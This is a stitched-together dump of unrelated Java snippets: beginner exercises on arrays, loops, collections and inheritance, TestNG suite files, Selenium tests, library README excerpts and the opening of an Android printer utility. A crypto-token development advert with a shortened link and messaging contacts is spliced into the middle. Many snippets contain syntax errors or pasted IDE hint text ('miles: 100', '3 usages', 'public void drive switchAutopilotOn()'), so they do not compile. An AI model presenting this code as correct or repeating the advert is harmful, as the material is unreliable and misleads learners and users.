  public void nonStaticMethod() {
    // do something
  }
}
public class StaticStuff {
  static int i = 1;

  public static void staticMethod() {
    // do something
  }
}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd">
<suite name="Practice Suite">
  <test name="Test Basics 1">
      <parameter name="emailid" value="tester456@gmail.com"/>
      <parameter name="password" value="test@123"/>
      <classes>
      <class name="practiceTests.testParameters"/>
      </classes>
  </test> <!-- Test --> 
   
  <test name="Test Basics 2">    
    <parameter name="emailid" value="tester789@gmail.com"/>
    <classes>
       <class name="practiceTests.testOptional"/>
    </classes>
     
  </test> <!-- Test -->
</suite> <!-- Suite -->
<classes>
<class name="LogInTests">
<method name="logInTestsValidCredentials"/>
</class>
<class name="UserProfileTests">
<method name="updateUsersName"/>
</class>
<class name="HomeTests">
<method name="addSongToFavorites"/>
</class>
</classes>
<classes>
<class name="LogInTests"/>
<class name="UserProfileTests"/>
<class name="HomeTests"/>
</classes>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >

<suite name="TestNG">

    <test name="Example Test" preserve-order="false">
        <classes>
            <class name="LoginTests"/>
            <class name="BaseTest"/>
            <class name="RegistrationTests"/>
        </classes>
    </test>
</suite>
@Test
public static void RegistrationSuccessTest () {

  WebDriver driver = new ChromeDriver();
  driver.manage().timeouts().implicitlyWait(Duration.ofSeconds(10));

  String url = "https://bbb.testpro.io/";
  driver.get(url);
  Assert.assertEquals(driver.getCurrentUrl(), url);
  driver.quit();
}
StringBuilder result = new StringBuilder();
for (char character : message.toCharArray()) {
    if (character != ' ') {
        int originalAlphabetPosition = character - 'a';
        int newAlphabetPosition = (originalAlphabetPosition + offset) % 26;
        char newCharacter = (char) ('a' + newAlphabetPosition);
        result.append(newCharacter);
    } else {
        result.append(character);
    }
}
return result;
Copy
After the Ethereum Merge Event, Ethereum has become more admired in the crypto industry. Meantime, the price of ethereum has skyrocketed. Do you wanna create an ethereum standard token? https://bit.ly/3TlCuwx 

Being the trusted Ethereum Token Development Company that rendering excellent Token Development Services on multiple ethereum standards such as ERC20, ERC1155, ERC223, ERC721, ERC777, ERC827, ERC 998, and ERC1400 to enhance your tokenomics business and platform.

For Instant Connect, 
Whatsapp +91 9384587998 || Telegram @maticzofficial

// Initialize a Scanner
static Scanner s = new Scanner(System.in);

public static void main(String[] args) {
  System.out.println("Enter a number");
  printForUser("foo");

  System.out.println("Enter another number");
  printForUser("foo2");
  
  System.out.println("Enter yet another number");
  printForUser("foo3");
}
public static void printForUser(String printedText) {
  // Store a number from user input
  int n = s.nextInt();
  
  // Print the text for the amount stored
  for (int i = 0; i < n; i++) {
    System.out.println(printedText);
  }
}
// Initialize a Scanner
static Scanner s = new Scanner(System.in);

public static void main(String[] args) {
  System.out.println("Enter a number");
  printForUser("foo");

  System.out.println("Enter another number");
  printForUser("foo2");
}
public static void printForUser(String printedText) {
  // Store a number from user input
  int n = s.nextInt();
  
  // Print the text for the amount stored
  for (int i = 0; i < n; i++) {
    System.out.println(printedText);
  }
}
// Initialize a Scanner
static Scanner s = new Scanner(System.in);

public static void main(String[] args) {
  // Store a number from user input
  System.out.println("Enter a number")
  int firstNum = s.nextInt();
  // Print "foo" for the amount stored
  for (int i = 0; i < firstNum; i++) {
    System.out.println("foo");
  }

  // Store another number from user input
  System.out.println("Enter another number")
  int secondNum = s.nextInt();
  // Print "foo2" for the amount stored
  for (int i = 0; i < secondNum; i++) {
    System.out.println("foo2");
  }

  // Store yet another number from user input
  System.out.println("Enter yet another number")
  int thirdNum = s.nextInt();
  // Print "foo3" for the amount stored
  for (int i = 0; i < thirdNum; i++) {
    System.out.println("foo3");
  }
}
// Initialize a JLabel for the title
String titleText = "Title";
JLabel titleLabel = new JLabel();
titleLabel.setText(titleText);
// Initialize a JLabel for the title
JLabel titleLabel = new JLabel("Title");
package snippets.collecectionApis;

import java.util.HashMap;

public class Maps {

  public static void main(String[] args) {

    // {key:value, key2:value2 ...}

    // France: Paris
    // Italy: Rome
    // Norway: Oslo
    // US: Washington DC

    HashMap<String, String> countryCapitals = new HashMap<>();
    countryCapitals.put("France","Paris");
    countryCapitals.put("Italy", "Rome");
    countryCapitals.put("Norway", "Oslo");
    countryCapitals.put("US", "Washington DC");
    countryCapitals.remove("Italy");

    HashMap<Integer, String> capitals = new HashMap<>();
    capitals.put(1,"Paris");
    capitals.put(2, "Rome");
    capitals.put(3, "Oslo");
    capitals.put(4, "Washington DC");

    System.out.println(capitals.get(3));
  }
}
package snippets.collecectionApis;

import java.util.HashMap;

public class Maps {

  public static void main(String[] args) {

    // {key:value, key2:value2 ...}

    // France: Paris
    // Italy: Rome
    // Norway: Oslo
    // US: Washington DC

    HashMap<String, String> countryCapitals = new HashMap<>();
    countryCapitals.put("France","Paris");
    countryCapitals.put("Italy", "Rome");
    countryCapitals.put("Norway", "Oslo");
    countryCapitals.put("US", "Washington DC");
    countryCapitals.remove("Italy");

    System.out.println( countryCapitals.values());
  }
}
package snippets.collecectionApis;

import java.util.HashMap;

public class Maps {

  public static void main(String[] args) {

    // {key:value, key2:value2 ...}

    // France: Paris
    // Italy: Rome
    // Norway: Oslo
    // US: Washington DC

    HashMap<String, String> countryCapitals = new HashMap<>();
    countryCapitals.put("France","Paris");
    countryCapitals.put("Italy", "Rome");
    countryCapitals.put("Norway", "Oslo");
    countryCapitals.put("US", "Washington DC");

    System.out.println( countryCapitals.get("Italy"));
  }
}
import java.util.*;

public class SetsDemo {

  public static void main(String[] args) {

    Set<String> uniqueKoelPages = new TreeSet<>();

    uniqueKoelPages.add("LoginPage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("ProfilePage");
    uniqueKoelPages.add("AProfilePage");

    System.out.println(uniqueKoelPages);

    Set<Integer> set1 = new HashSet<>();
    set1.add(1);
    set1.add(3);
    set1.add(2);
    set1.add(4);
    set1.add(8);
    set1.add(9);
    set1.add(0);

    Set<Integer> set2 = new HashSet<>();
    set2.add(1);
    set2.add(3);
    set2.add(7);
    set2.add(5);
    set2.add(4);
    set2.add(0);
    set2.add(7);
    set2.add(5);

    // Union
    Set<Integer> set3 = new HashSet<>(set1);
    set3.addAll(set2);
    System.out.println(set3);

    // intersection
    Set<Integer> setIntersection = new HashSet<>(set1);
    setIntersection.retainAll(set2);
    System.out.println(setIntersection);

    // Differences
    Set<Integer> setDifference = new HashSet<>(set1);
    setDifference.removeAll(set2);
    System.out.println(setDifference);

  }
}
import java.util.*;

public class SetsDemo {

  public static void main(String[] args) {

    Set<String> uniqueKoelPages = new TreeSet<>();

    uniqueKoelPages.add("LoginPage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("ProfilePage");
    uniqueKoelPages.add("AProfilePage");

    System.out.println(uniqueKoelPages);

    Set<Integer> set1 = new HashSet<>();
    set1.add(1);
    set1.add(3);
    set1.add(2);
    set1.add(4);
    set1.add(8);
    set1.add(9);
    set1.add(0);

    Set<Integer> set2 = new HashSet<>();
    set2.add(1);
    set2.add(3);
    set2.add(7);
    set2.add(5);
    set2.add(4);
    set2.add(0);
    set2.add(7);
    set2.add(5);

    // Union
    Set<Integer> set3 = new HashSet<>(set1);
    set3.addAll(set2);
    System.out.println(set3);

    // intersection
    Set<Integer> setIntersection = new HashSet<>(set1);
    setIntersection.retainAll(set2);
    System.out.println(setIntersection);
  }
}
import java.util.*;

public class SetsDemo {

  public static void main(String[] args) {

    Set<String> uniqueKoelPages = new TreeSet<>();

    uniqueKoelPages.add("LoginPage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("ProfilePage");
    uniqueKoelPages.add("AProfilePage");

    System.out.println(uniqueKoelPages);

    Set<Integer> set1 = new HashSet<>();
    set1.add(1);
    set1.add(3);
    set1.add(2);
    set1.add(4);
    set1.add(8);
    set1.add(9);
    set1.add(0);

    Set<Integer> set2 = new HashSet<>();
    set2.add(1);
    set2.add(3);
    set2.add(7);
    set2.add(5);
    set2.add(4);
    set2.add(0);
    set2.add(7);
    set2.add(5);

    // Union
    Set<Integer> set3 = new HashSet<>(set1);
    set3.addAll(set2);
    System.out.println(set3);
  }
}
import java.util.*;

public class SetsDemo {

  public static void main(String[] args) {

    Set<String> uniqueKoelPages = new TreeSet<>();

    uniqueKoelPages.add("LoginPage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("ProfilePage");
    uniqueKoelPages.add("AProfilePage");

    System.out.println(uniqueKoelPages);
  }
}
import java.util.*;

public class SetsDemo {

  public static void main(String[] args) {

    Set<String> uniqueKoelPages = new TreeSet<>();

    uniqueKoelPages.add("LoginPage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("HomePage");
    uniqueKoelPages.add("ProfilePage");
    uniqueKoelPages.add("AProfilePage");

    System.out.println(uniqueKoelPages);
  }
}
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class ListsDemo {

  public static void main(String[] args) {


    List<String> koelPages = new ArrayList<>();

    koelPages.add("LoginPage");
    koelPages.set(0, "RegistrationPage");
    koelPages.add("HomePage");
    koelPages.add("ProfilePage");
    koelPages.add("APage");
    koelPages.add("ZPage");
    Collections.sort(koelPages);
    Collections.reverse(koelPages);

    for(String i: koelPages) {
      System.out.println(koelPages);
    }
  }
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class ListsDemo {

  public static void main(String[] args) {


    List<String> koelPages = new ArrayList<>();

    koelPages.add("LoginPage");
    koelPages.set(0, "RegistrationPage");
    koelPages.add("HomePage");
    koelPages.add("ProfilePage");
    koelPages.add("APage");
    koelPages.add("ZPage");
    Collections.sort(koelPages);
    Collections.reverse(koelPages);

    System.out.println(koelPages);
  }
}
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class ListsDemo {

  public static void main(String[] args) {


    List<String> koelPages = new ArrayList<>();

    koelPages.add("LoginPage");
    koelPages.set(0, "RegistrationPage");
    koelPages.add("HomePage");
    koelPages.add("ProfilePage");
    koelPages.add("APage");
    koelPages.add("ZPage");
    Collections.sort(koelPages);
    koelPages.remove(0);

    System.out.println(koelPages);
  }
}
import java.util.ArrayList;
import java.util.List;

public class ListsDemo {

  public static void main(String[] args) {


    List<String> koelPages = new ArrayList<>();

    koelPages.add("LoginPage");
    koelPages.set(0, "RegistrationPage");
    koelPages.add("HomePage");
    koelPages.remove( index 0);

    System.out.println(koelPages);

  }
}
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class Main {

  public static void main(String[] args) {

    List<String> koelPages = new ArrayList<>();

    koelPages.add("LoginPage");
    koelPages.set(0, "RegistrationPage");
    koelPages.add("HomePage");

    System.out.println(koelPages);
  }
}
// Output: [RegistrationPage, HomePage]
package snippets.interfaces;

public class InterfacesDemo {


  public static void main(String[] args) {
    ChromeBrowser chrome = new ChromeBrowser();
    chrome.openDefaultHomePage();
  }
}

// WebBrowser
// Chrome Browser
// IE11 browser

interface WebBrowser {
  public String getBrowserName();
  public void openDefaultHomePage();

}

interface BrowserNavigation {
  public void navigateToPage();
  public void goBack();

}

class ChromeBrowser implements WebBrowser, BrowserNavigation {

  String browserName = "chrome";

public String getBrowserName() {
  return browserName;
}

public void openDefaultHomePage() {
  System.out.println("google.com");
}

public void navigateToPage() {

}
public void goBack() {

}

}
package snippets.abstractionClass;

class AbstractionDemo {
  public static void main(String[] args) {
    ChromeBrowser chrome = new ChromeBrowser();
    chrome.openDefaultHomePage();

  }
}

abstract class WebBrowser {
  // regular method
  // abstract methods

  public void openPage(String pageUrl) {
    System.out.println(pageUrl + " is opened");
  }

  abstract public String getBrowserName();
  abstract public void openDefaultHomePage();

}

class ChromeBrowser extends WebBrowser {

  String browserName = "chrome";

public String getBrowserName() {
  return browserName;
}

public void openDefaultHomePage() {
  System.out.println("google.com");
}

}

class IE11Browser extends WebBrowser {

  String browserName = "IE11";

public String getBrowserName() {
  return browserName;
}

public void openDefaultHomePage() {
  System.out.println("microsoft.com");
}
}
public class Car {

  public void drive( int miles) {
    System.out.println("car drove " + miles + " miles");
    odometer = odometer + miles;
  }

  public String returnCarModel() {
    return "car model is unknown";

  }
}
public class Wrangler extends Car {

  boolean carDoors = true; 

public void takeOffDoors() {
  carDoors = false;
  System.out.println("Doors are taken off");

}

public void putBackDoors() {
  carDoors = true;
  System.out.println("Doors are back");

}

public String returnCarModel() {
  return "car model is Wrangler";

}
}
public class ModelX extends Car {

  boolean autopilot = false;

public void drive switchAutopilotOn() {
  autoPilot = true;
  System.out.println("Autopilot is switched on");
}

public void drive switchAutopilotOff() {
  autoPilot = false;
  System.out.println("Autopilot is switched off");
}

public String returnCarModel() {
  return "car model is Modelx";
}
}
public class Main {

  public static void main(String[] args) {

    Wrangler myWraglerCar = new Wrangler();
    myWranglerCar.drive( miles: 100);
    System.out.println(myWranglerCar.odometer);
    myWranglerCar.takeOffDoors();
    System.out.println(myWranglerCar.returnCarModel());

    ModelX myModelXCar = new ModelX();
    myModelXCar.drive( miles: 90);
    System.out.println(myModelXCar.odometer);
    myModelXCar.switchAutopilotOn();
    System.out.println(myModelXCar.returnCarModel());


    Car myCar = new Car();
    myCar.drive( miles: 50);
    System.out.println(myCar.returnCarModel());

  }
}
public class Car {

   public void drive( int miles) {
             System.out.println("car drove " + miles + " miles");
             odometer = odometer + miles;
   }
}
public class Wrangler {

  int odometer = 0;
boolean carDoors = true; 

public void drive( int miles) {
  System.out.println("car drove " + miles + " miles");
  odometer = odometer + miles;

}

public void takeOffDoors() {
  carDoors = false;
  System.out.println("Doors are taken off");

}

public void putBackDoors() {
  carDoors = true;
  System.out.println("Doors are back");

}
}
public class ModelX {
      int odometer = 0;
      boolean autopilot = false;

      public void drive( int miles) {
             System.out.println("car drove " + miles + " miles");
             odometer = odometer + miles;
}

      public void drive switchAutopilotOn() {
             autoPilot = true;
             System.out.println("Autopilot is switched on");
}

  public void drive switchAutopilotOff() {
             autoPilot = false;
             System.out.println("Autopilot is switched off");
  }
}
public class Main {

  public static void main(String[] args) {

    Wrangler myWraglerCar = new Wrangler();
    myWranglerCar.drive( miles: 100);
    System.out.println(myWranglerCar.odometer);
    myWranglerCar.takeOffDoors();

    ModelX myModelXCar = new ModelX();
    myModelXCar.drive( miles: 90);
    System.out.println(myModelXCar.odometer);
    myModelXCar.switchAutopilotOn();

    Car myCare = new Car();
    myCar.drive( miles: 50);

  }
}
public class Main {

  public static void main (String[] args) {

    Cars azatCar = new Cars();
    azatCar.brand = "Mazda" ;
    azatCar.year = 2005 ;
    azatCar.color = "blue" ;

    Cars someOtherCar = new Cars () ;
    someOtherCar.color = "black" ;
    someOtherCar.year = 2020 ;
    someOtherCar.brand = "BMW" ;

    System.out.println(azatCar.brand);

  }
}
public void accelerate() {
     System.out.println("car is accelerating");
  }

public void headlightsOn() {
      System.out.println("car's headlights is on");
  }

public void headlightsOff() {
      System.out.println("car's headlights is off");
  }

public int return0dometer(int odometerValue) {
      return 10000; 
  }
public class Main {

  public static void main (String[] args) {

    Cars azatCar = new Cars(carBrand:"Mazda", carColor:"blue", carYear :2005);
    azatCar.brand = "Mazda" ;
    azatCar.year = 2005 ;
    azatCar.color = "blue" ;

    Cars someOtherCar = new Cars (carBrand:"BMW", carcolor: "black") ;
    someOtherCar.color = "black" ;
    someOtherCar.year = 2020 ;
    someOtherCar.brand = "BMW" ;

    System.out.println(someOtherCar.brand);
    azatCar.accelerate() ;
    azatCar.headlightsOn() ;
    azatCar.headlightsOff() ;
    System.out.println ("odometer is equal to" + azatCar.returnOdometer(100000) + "miles");

  }
}
public class Cars {
  3 usages
  String brand ;

  3 usages
  String color ;

  3 usages
  int year ;

  2 usages 2 related problems
  public Cars (String carBrand, String carColor, int carYear) {
    brand = carBrand;
    color = carColor; 
    year

  }

  public void accelerate() {
    System.out.println("car is accelerating");
  }

  public void headlightsOn() {
    System.out.println("car's headlights is on");
  }

  public void headlightsOff() {
    System.out.println("car's headlights is off");
  }
}
class Geek {
  public static String geekName = "";

  public static void geek(String name) {
    geekName = name;
  }
}
class Geek{    
  public static String geekName = "";
public static void geek(String name){
  geekName = name;
}
}
class GFG {
  public static void main (String[] args) {

    // Accessing the static method geek() and 
    // field by class name itself.
    Geek.geek("vaibhav"); 
    System.out.println(Geek.geekName);

    // Accessing the static method geek() by using Object's reference.
    Geek obj = new Geek();
    obj.geek("mohit");
    System.out.println(obj.geekName);
  }
}
class Geek {
  public static String geekName = "";

  public static void geek(String name) {
    geekName = name;
  }
}
import java.util.*;

class sample {
  public static void main(String[] args) {
    Scanner input = new Scanner(System.in);
    int x = 1;

    do {
      try {
        System.out.println("Enter first num: ");
        int n1 = input.nextInt();
        System.out.println("Enter first num: ");
        int n2 = input.nextInt();
        int sum = n1 / n2;
        System.out.println(sum);
        x = 2;

      } catch (Exception e) {
        System.out.println("You cant do that");
      }
    } while (x == 1);
  }
}
class Main {
  public static void main(String[] args) {

    // Write a simple application using nested loops to print out a Multiplication Table 1-12x
    
    // Example:
    // 1 2 3 4 5 6 7 8 9 10 11 12 
    // 2 4 6 8 10 12 14 16 18 20 22 24 
    // 3 6 9 12 15 18 21 24 27 30 33 36 
    // 4 8 12 16 20 24 28 32 36 40 44 48 
    // 5 10 15 20 25 30 35 40 45 50 55 60 
    // 6 12 18 24 30 36 42 48 54 60 66 72 
    // 7 14 21 28 35 42 49 56 63 70 77 84 
    // 8 16 24 32 40 48 56 64 72 80 88 96 
    // 9 18 27 36 45 54 63 72 81 90 99 108 
    // 10 20 30 40 50 60 70 80 90 100 110 120 
    // 11 22 33 44 55 66 77 88 99 110 121 132 
    // 12 24 36 48 60 72 84 96 108 120 132 144 

    // Hints:
    // - Start with the first loop
    // - To print numbers in one line use System.out.print(variable) method
    // - To break the line and start a new one - use System.out.println() without any parameters
    System.out.println("Assignment #1");

    // Check the output and submit your homework by clicking 'Submit' button at top right
  }
}
class Main {
    public static void main(String[] args) {

        int [][] arr1= {{1, 2, 3}, {4, 5}};
        for(int i = 0; i < arr1.length; i++){
            for(int j = 0; j < arr1[i].length; j++) {
                System.out.println(arr1[i][j]);
            }
        }
    }
}
/*
1
2
3
4
5
*/
import java.util.Arrays;

class Main {
    public static void main (String[] args) {

        int [][] arr1 = {{1, 2, 3}, {4, 5}};

        System.out.println (Arrays.deepToString(arr1));
    }
}
// Output: [[1, 2, 3], [4, 5]]
class Main {
    public static void main (String[] args) {

        int [][] arr1 = {{1, 2, 3}, {4, 5}};

        System.out.println (arr1[1][0]);
    }
}
// Output: 4
class Main {
    public static void main (String[] args) {

        int [][] arr1 = {{1, 2, 3}, {4, 5}};

        System.out.println (arr1[0][1]);
    }
}
// Output: 2
      int [] arr1 = {54, 44, 39, 10, 12, 101};

      Arrays.sort (arr1);

      System.out.println (Arrays.toString(arr1));
import java.util.Arrays;

class Main{
  public static void main (String[] args) {
    int[] arr1 = {54, 44, 39, 10, 12, 101};
    for (int i=0; i<arr1.length; i++) {
      if (arr1[i] == 44) {
        System.out.println ("Array has 44 at index" + i);
      }
    }
  }
}
import java.util.Arrays;

class Main {
    public static void main (String[] args) {

        int[] arr1= {54, 44, 39, 10, 12, 101};
        int[] arr2= {54, 44, 39, 10, 12, 102};

        System.out.println (Arrays.equals(arr1, arr2));

    }
}
// Output: false
import java.util.Arrays;

class Main {
    public static void main (String[] args) {

        int[] arr1= {54, 44, 39, 10, 12, 101};
        int[] arr2= {54, 44, 39, 10, 12, 101};

        System.out.println (Arrays.equals(arr1, arr2));

    }
}
// Output: true
class Main {
  public static void main (String[] args) {
    
    int[] arr1= {54, 44, 39, 10, 12, 101};
    int[] arr2= {54, 44, 39, 10, 12, 101};
    
    System.out.println (arr1 == arr2);

  }
}
// Output: false
import java.util.Arrays;

class Main{

  public static void main (String[] args) {

    int [] arr1 = new int[10];

    for (int i = 0; i < 10; i++) {

      arr1 (i) = i;
    }

    System.out.println (Arrays.toString(arr1));

  }
}
import java.util.Arrays;

class Main {
  public static void main (String[] args) {
    
    int [] arr1 = {1,2,3,4,5,6,7,8,9,10};

    System.out.println (Arrays.toString(arr1));
  }
}
// Output: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
    //

    int [] arr2 = new int[10];

    arr2[0] = 1;
    System.out.println (arr2[0]);

  }
}
//

    int [] arr1 = {1,2,3,4,5,6,7,8,9,10};

    arr1[1] = 22;

    System.out.println (arr1[3]);
  }
}
class Main{

  public static void main (String[] args) {

    int a  = 1;

    int b  = 2;

    //

    int [] arr1 = {1,2,3,4,5,6,7,8,9,10};

    System.out.println (arr1[3]);
  }
}
class Main {

   public static void main (String[] args) {

   a = 5;

   b = 10;

      System.out.println (a+b);

   }

}
class Main {

   public static void main (String[] args) {

      System.out.println (2+2);
   }
}
class Main {

//Comment example

   public static void main (String[] args) {

      System.out.println (2+2);
    }
}
class Main {

   public static void main (String[] args) {

      System.out.println (2+2);
    }
}
 for (int i = 0; i < 10; i++) { 
     If (i == 4) { 
       continue;
  }
  System.out.println(i);
}
for (int i = 0; i < 10; i++) { 
   System.out.println(i);
   If (i == 4) { 
    break;
}
for (int i = 0; i < 10; i++) { 
  System.out.println(i)
     for (int j = 1; j < 3; j++)
       System.out.println("It's nested for loop");
}
for (int i = 0; i < 10; i++) { 
   System.out.println(i)
   If (i == 5) { 
      System.out.println("It's 5!!");
}
for (int i = 0; i < 10; i++) { 
System.out.println(i)
}
for (statement 1; statement 2; statement 3) { 
//code to be executed  
}
do{    
//code to be executed  
}while (condition);   
String password = "let me in";
Scanner scanner = new Scanner(System.in);
String guess;

do
{
  System.out.println("Guess the password:");
  guess =  scanner.nextLine();
}while(!guess.equals(password);
public class MySweetProgram{
  public static void main (String[] args) {
    
    /*icu
    * 
    * initialization
    * comparison
    * update
    *
    */

    int   i = 0;
    while( i < 11 )
    {
      System.out.println("iteration" + i);
      i++;
    }
  }
}
public class MySweetProgram{
  public static void main (String[] args) {
    /*
    * 
    * initialization
    * comparison
    * update      
    */

    int i=0;
    while(i<10) {      
      //code
      i++;
    }
  }
}
if (condition) {
  // block of code to be executed if the condition is true
} else {
  // block of code to be executed if the condition is false
}
if (20 > 18) {
  System.out.println("20 is greater than 18");
}
int time = 20;
if (time < 18) {
  System.out.println("Good day.");
} else {
  System.out.println("Good evening.");
}
// Outputs "Good evening."
if (condition) {
  // block of code to be executed if the condition is true
} else {
  // block of code to be executed if the condition is false
}
class Main {
    public static void main(String[] args) {
      
      // Write a simple application to finish the assignments below
  
      // Assignment #1
      // - Declare an integer variable with the value of 75
      // - Write if\else statement to check whether it is a even or odd number (using remainder operator)
      // - If the value is even, print out "It's an odd number", otherwise "It's an even number"
      // - Change the value to 346 and make sure it shows a different result now
      // - Congrats on your first simplified Unit Test! (this is how we test our own code)
      System.out.println("Assignment #1");
  
      // Assignment #2
      // - Declare an integer variable with the value of 1
      // - Write switch case statement to determine a day of the week based on its number
      // - If the value is equal to 1, print out "It's Sunday" and so on
      // - Change the value to 6 and make sure it also prints out the correct result
      System.out.println("Assignment #2");
  
      // Check the answers and submit your homework by clicking 'Submit' button at top right
    }
  }
class Main {
    public static void main(String[] args) {
      
      // Write a Java simple application to finish the assignments below
  
      // Assignment #1
      // - Declare a variable with the following phrase "I never dreamed about success. I worked for it"
      // - Print out the number of characters in that quote  
      System.out.println("Assignment #1");
      
      // Assignment #2
      // - Declare a variable with the following name "Estée Lauder"
      // - Declare a quote variable and append name, dash and the phrase from Assignment #1
      // - Print out the whole quote
      // - Print out first 12 characters of the phrase
      System.out.println("Assignment #2"); 
      
      // Assignment #3
      // - Print out the result of comparison of the following strings: "0CT0PUS" and "0CT0PUS"
      // - Print out your answer if they equal or not and why is that
      System.out.println("Assignment #3");
      
      // Check the answers and submit your homework by clicking 'Submit' button at top right    
    }
  }
class Main {
  public static void main(String[] args) {
    
    // Write a Java simple application to finish the assignments below

    // Assignment #1
    // Print your name
    System.out.println("Assignment #1");
    
    // Assignment #2
    // - Declare a digit variable with 'price' name equal to $45
    // - Declare a double type variable with 'discount' name equal to 20% as a decimal
    // - Declate a double type variable with 'total' name that calculated the result
    // - Print out the result of total due by a customer when purchasing a book that costs $45 with a 20%     discount
    System.out.println("Assignment #2");
    
    // Assignment #3
    // - Write a method that converts 90 degrees Fahrenheit to Celsius
    // - Use the following formula: C = (F − 32) × 5/9) to calculate it
    // - This time print out the result without declaring any variables
    System.out.println("Assignment #3");
    
    // Check the answers and submit your homework by clicking 'Submit' button at top right    
  }
}
if (uA >= 0 && uA <= 1 && uB >= 0 && uB <= 1) {
    return true;
}
return false;
float uA = ((x4-x3)*(y1-y3) - (y4-y3)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1));

float uB = ((x2-x1)*(y1-y3) - (y2-y1)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1));
float myFloat = 2.001f;

String formattedString = String.format("%.02f", myFloat);
import java.io.*;
import java.util.*;
 
class GFG 
{
	static int maxCuts(int n, int a, int b, int c)
	{
		if(n == 0) return 0;
		if(n < 0)  return -1;
 
		int res = Math.max(maxCuts(n-a, a, b, c), 
		          Math.max(maxCuts(n-b, a, b, c), 
		          maxCuts(n-c, a, b, c)));
 
		if(res == -1)
			return -1;
 
		return res + 1; 
	}
  
    public static void main(String [] args) 
    {
    	int n = 5, a = 2, b = 1, c = 5;
    	
    	System.out.println(maxCuts(n, a, b, c));
    }
}
public void run() {

	String[] locales = Locale.getISOCountries();

	for (String countryCode : locales) {

		Locale obj = new Locale("", countryCode);

		System.out.println("Country Code = " + obj.getCountry() 
			+ ", Country Name = " + obj.getDisplayCountry());

	}

	System.out.println("Done");
    }
@Component
public class AnyBean {

    @JsonLinesResource("logs.jsonl")    // <- inject parsed content of resource
    private List<Log> logs;
}
@Configuration
@EnableResourceInjection
public class MyConfig {
}
compile group: 'io.hosuaby', name: 'inject-resources-spring', version: '0.3.2'
<dependency>
    <groupId>io.hosuaby</groupId>
    <artifactId>inject-resources-spring</artifactId>
    <version>0.3.2</version>
</dependency>
package io.hosuaby.inject.resources.examples.junit4.tests;

import com.adelean.inject.resources.junit.vintage.core.ResourceRule;
import org.junit.Rule;
import org.junit.Test;

import static com.adelean.inject.resources.junit.vintage.GivenResource.givenResource;
import static org.assertj.core.api.Assertions.assertThat;

public class MyTestClass {

    @Rule   // Declare rule to read content of resource into the field
    public ResourceRule<String> textResource = givenResource().text("/io/hosuaby/alice.txt");

    @Test
    public void testLoadTextIntoString() {
        // We can use content of resource file in our test
        assertThat(textResource.get())
                .isNotNull()
                .isNotEmpty()
                .isNotBlank()
                .contains("Alice");
    }
}
testCompile group: 'io.hosuaby', name: 'inject-resources-junit-vintage', version: '0.3.2'
<dependency>
    <groupId>io.hosuaby</groupId>
    <artifactId>inject-resources-junit-vintage</artifactId>
    <version>0.3.2</version>
    <scope>test</scope>
</dependency>
package io.hosuaby.inject.resources.examples.junit5.tests;

import com.adelean.inject.resources.junit.jupiter.GivenTextResource;
import com.adelean.inject.resources.junit.jupiter.TestWithResources;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;

import static org.assertj.core.api.Assertions.assertThat;

@TestWithResources  // <-- Add @TestWithResources extension
public class MyTestClass {

    // Read content of resource alice.txt into String field
    @GivenTextResource("/io/hosuaby/alice.txt")
    String fieldWithText;

    @Test
    void testWithTextFromResource() {
        // We can use content of resource file in our test
        assertThat(fieldWithText)
                .isNotNull()
                .isNotEmpty()
                .isNotBlank()
                .contains("Alice");
    }
}
@TestWithResources  // add JUnit Jupiter extension
class MyTestClass {
}
testCompile group: 'io.hosuaby', name: 'inject-resources-junit-jupiter', version: '0.3.2'
<dependency>
    <groupId>io.hosuaby</groupId>
    <artifactId>inject-resources-junit-jupiter</artifactId>
    <version>0.3.2</version>
    <scope>test</scope>
</dependency>
new StringBuilder(hi).reverse().toString()
    @Component
    public class FeignClientInterceptor implements RequestInterceptor {
    
      private static final String AUTHORIZATION_HEADER = "Authorization";

      public static String getBearerTokenHeader() {
        return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getHeader("Authorization");
      }
    
      @Override
      public void apply(RequestTemplate requestTemplate) {

          requestTemplate.header(AUTHORIZATION_HEADER, getBearerTokenHeader());
       
      }
    }
import java.util.stream.Stream;
import java.util.stream.Collectors;

    public class Test  {


        public static void main(String[] args) {

            System.out.println(reverse("Anirudh"));;
        }
        public static String reverse(String string) {
            return Stream.of(string)
                .map(word->new StringBuilder(word).reverse())
                .collect(Collectors.joining(" "));
        }
    }
MyClass newJsonNode = jsonObjectMapper.treeToValue(someJsonNode, MyClass.class);
package com.example.sunmiprintertesting.utils;

import static com.example.sunmiprintertesting.BaseApp.KEY_TECHNIQUE_1;

import android.content.Context;
import android.graphics.Bitmap;
import android.os.RemoteException;
import android.widget.Toast;

import com.orhanobut.hawk.Hawk;
import com.sunmi.peripheral.printer.ExceptionConst;
import com.sunmi.peripheral.printer.InnerLcdCallback;
import com.sunmi.peripheral.printer.InnerPrinterCallback;
import com.sunmi.peripheral.printer.InnerPrinterException;
import com.sunmi.peripheral.printer.InnerPrinterManager;
import com.sunmi.peripheral.printer.InnerResultCallback;
import com.sunmi.peripheral.printer.SunmiPrinterService;
import com.sunmi.peripheral.printer.WoyouConsts;

import java.util.ArrayList;
import java.util.List;

/**
 * <pre>
 *      This class is used to demonstrate various printing effects
 *      Developers need to repackage themselves, for details please refer to
